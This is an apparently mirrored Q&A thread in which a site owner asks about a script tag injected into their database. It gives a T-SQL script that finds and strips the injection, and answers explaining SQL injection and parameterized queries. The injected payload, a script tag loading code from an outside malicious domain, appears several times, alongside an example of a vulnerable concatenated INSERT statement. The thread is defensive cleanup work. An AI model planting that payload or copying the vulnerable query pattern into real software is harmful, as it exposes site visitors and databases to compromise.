代码之家  ›  专栏  ›  技术社区  ›  Cédric Boivin

破译这个XSS攻击[关闭]

  •  9
  • Cédric Boivin  · 技术社区  · 14 年前

    我最近在我的网站上注入了这个脚本

     </title><script src=http://google-stats50.**fo/***.php>
    

    顺便说一下,不要上这个网站,因为它是感染源

    问题是这种传染病发作的原因是什么?

    有我们的SQL团队产生的SQL脚本来清理被感染的数据库

    /*************************************************************************
            SQL INJECTED DATABASE
    *************************************************************************/
    
    DECLARE @dbName VARCHAR(200), 
            @SqlString NVARCHAR(MAX), 
            @SearchText VARCHAR(MAX), 
            @SearchTextLike VARCHAR(MAX), 
            @NbItems INT, 
            @TableName VARCHAR(255), 
            @ColoneName VARCHAR(255), 
            @objId BIGINT,
            @tmpSqlString NVARCHAR(MAX),
            @CleanUp BIT,
            @RowCount BIGINT,
            @debug BIT,
            @Msg VARCHAR(MAX);
    
    SET @debug = 0; -- 1 = Additionnal prints
    
    SET @CleanUp = 0; -- 1 = Update tables
    
    SET @SearchText = '</title><script src=http://google-stats50.info/ur.php></script>';
    
    SET @SearchTextLike = '%' + @SearchText + '%';
    
    DECLARE @QueryResults TABLE (SqlString VARCHAR(MAX), TableName VARCHAR(255), ColoneName VARCHAR(255));
    DECLARE @InfectedDB TABLE (InfectedDbName VARCHAR(255));
    DECLARE @CleanedUpDB TABLE (DbName VARCHAR(255), Msg VARCHAR(MAX));
    DECLARE @DbToValidate TABLE (DbName VARCHAR(255));  
    
    INSERT INTO @DbToValidate
    SELECT Name
    FROM sys.databases
    WHERE [state] = 0 AND
            Name NOT IN ('master', 'tempdb', 'model', 'msdb') AND
            Name NOT LIKE 'sys%'
    ORDER BY Name;
    
    DECLARE db_cusor CURSOR FOR 
    SELECT DbName
    FROM @DbToValidate;
    
    OPEN db_cusor;
    
    FETCH NEXT FROM db_cusor 
    INTO @dbName;
    
    WHILE @@FETCH_STATUS = 0
    BEGIN
        SET @Msg = 'Traitement pour : ' + @dbName;
        INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg);
        PRINT @Msg;
    
        IF (SELECT [state] FROM sys.databases WHERE Name = @dbName) = 0
        BEGIN
            IF @debug = 1 PRINT Char(13) + '1 - Processing Database : ' + @dbName;
    
            --Vider le contenu
            DELETE FROM @QueryResults;
    
            IF @debug = 1 PRINT '2 - Vider la table @QueryResults';
    
            IF @CleanUp = 0
            BEGIN
                SET @SqlString = '  USE [' + @dbName + '];' +
                                 '  SELECT ''SELECT @NbItems = COUNT(1) FROM ['' + tbl.Name + ''] WHERE ['' + col.name + ''] LIKE ''''' + @SearchTextLike + ''''''', tbl.Name, col.Name' +
                                 '  FROM sys.tables tbl inner join' +
                                 '          sys.columns col on tbl.object_id = col.object_id' +
                                 '  WHERE col.system_type_id IN (35, 99, 167, 175, 231, 239) and tbl.Name not like ''sys%''';
            END
            ELSE
            BEGIN
                SET @SqlString = '  USE [' + @dbName + '];' +
                                 '  SELECT ''UPDATE ['' + tbl.Name + ''] SET ['' + col.name + ''] = REPLACE(CAST(['' + col.name + ''] AS VARCHAR(MAX)),''''' + @SearchText + ''''','''''''') FROM ['' + tbl.Name + ''] WHERE ['' + col.name + ''] LIKE ''''' + @SearchTextLike + ''''''', tbl.Name, col.Name' +
                                 '  FROM sys.tables tbl inner join' +
                                 '          sys.columns col on tbl.object_id = col.object_id' +
                                 '  WHERE col.system_type_id IN (35, 99, 167, 175, 231, 239) and tbl.Name not like ''sys%'''
            END
    
            INSERT INTO @QueryResults                   
            EXEC sp_executesql @SqlString;
    
            --Validation pour les erreurs
            IF @@ERROR <> 0
            BEGIN
                GOTO NEXTPRINC
            END
    
            IF @debug = 1 PRINT '3 - Récupérer les Query String';
    
            --Faire une loop sur les querys string pour voir s'il y a des injections SQL
            DECLARE query_cursor CURSOR FOR 
            SELECT SqlString, TableName, ColoneName
            FROM @QueryResults;
    
            OPEN query_cursor;
    
            FETCH NEXT FROM query_cursor 
            INTO @SqlString, @TableName, @ColoneName;
    
            IF @debug = 1 PRINT '4 - Cursor sur les Query String';
    
            WHILE @@FETCH_STATUS = 0
            BEGIN
    
                SET @tmpSqlString = 'USE [' + @dbName + '];' + 'SELECT @objId = OBJECT_ID(''' + @TableName + ''');'
    
                EXEC sp_executesql @tmpSqlString, N'@objId bigint output', @objId output
    
                --Validation pour les erreurs
                IF @@ERROR <> 0
                BEGIN
                    GOTO NEXTINNER
                END
    
                IF ISNULL(@objId, -1) <> -1
                BEGIN
    
                    SET @SqlString = 'USE [' + @dbName + '];' + @SqlString;
    
                    IF @CleanUp = 0
                    BEGIN
                        EXEC sp_executesql @SqlString, N'@NbItems int output', @NbItems output
                    END
                    ELSE
                    BEGIN
                        EXEC sp_executesql @SqlString
                        SET @RowCount = @@ROWCOUNT
                    END
    
                    --Validation pour les erreurs
                    IF @@ERROR <> 0
                    BEGIN
                        GOTO NEXTINNER
                    END
    
                    IF @CleanUp = 0
                    BEGIN
                        IF ISNULL(@NbItems, 0) <> 0
                        BEGIN
                            -- BD Infectée !
                            INSERT INTO @InfectedDB VALUES (@dbName);
                            PRINT '**** BD Infectée : ' + @dbName;
                            SELECT * FROM @InfectedDB;
                            BREAK;
                        END
                    END
                    ELSE
                    BEGIN
                        IF @RowCount <> 0
                        BEGIN
                            SET @Msg = '**** Table --> [' + @TableName + '] .::. Colonne --> [' + @ColoneName + '] .::. Nb Rows --> ' + CAST(@RowCount AS VARCHAR(7));
                            INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg);
                            PRINT @Msg;
                        END
                    END
    
                END
    
        NEXTINNER:
                -- Get the next query.
                FETCH NEXT FROM query_cursor 
                INTO @SqlString, @TableName, @ColoneName;
            END
    
            CLOSE query_cursor;
            DEALLOCATE query_cursor;
    
            IF @debug = 1 PRINT '5 - Vider cursor query';
        END
        ELSE
        BEGIN
            SET @Msg = '**** La base de données n''est pas ''ONLINE''.';
            INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg);
            PRINT @Msg;
        END
    
        SET @Msg = 'Fin traitement pour : ' + @dbName;
        INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg);
        PRINT @Msg;
    
    NEXTPRINC:
        -- Get the next database.
        FETCH NEXT FROM db_cusor 
        INTO @dbName;
    END
    
    IF @CleanUp = 0
    BEGIN
        SELECT * FROM @InfectedDB;
    END
    ELSE
    BEGIN
        SELECT * FROM @CleanedUpDB;
    END
    
    GOTO FIN
    
    FININNER: 
        CLOSE query_cursor;
        DEALLOCATE query_cursor;
    
    FIN:
        --Fermeture du cursor
        CLOSE db_cusor;
        DEALLOCATE db_cusor;
    
    4 回复  |  直到 10 年前
        1
  •  4
  •   badp    14 年前

    我们也是这样。数据库里几乎所有的记录。

    最好的办法是做到以下几点:(我们刚刚成功地做到了这一点)

    UPDATE [mytable] set [column] =
      REPLACE([column],
              '&lt;/title&gt;&lt;script src=http://google-stats50.info/ur.php&gt;',
              '')
    

    该行将从每个字段中删除脚本。不过,您必须手动检查字段,并更改UPDATE语句以适应需要。


    "INSERT INTO tbl_Contacts (name, email, enquiry) VALUES ('" & \
                               name & "', '" & email & "', '" & enquiry & "');"
    

    如果是这样的话,你的SQL注入被黑客攻击了,你应该把所有使用这种语法的语句都改成“参数化查询”

    "INSERT INTO tbl_Contacts (name, email, enquiry) VALUES (@name, @email, @enquiry);"
    
    sqlcommand.parameters.add("@name", SqlDbType.VarChar).Value = foo
    sqlcommand.parameters.add("@email", SqlDbType.VarChar).Value = bar
    sqlcommand.parameters.add("@enquiry", SqlDbType.VarChar).Value = baz
    

    希望这有帮助。。

        2
  •  3
  •   ishnid    14 年前

        3
  •  2
  •   Stefan    14 年前

    今天早上我们遇到了同样的问题。 sql注入的典型例子:您似乎没有检查通过URL获得的参数。看看Web服务器访问日志-您将看到更新语句!

        4
  •  1
  •   Willem    14 年前

    我最近修复了一个类似的黑客攻击,感染服务器上的每个.asp、.js和.html文件都包含了一个额外的脚本,但是数据库是正常的。在这种情况下,黑客是通过FTP,密码不够强大。也许你也发生过类似的事?

    我用一个文本编辑器中的find-and-replace-all修复了这个问题,该编辑器支持同时生成多个文档。(记事本++)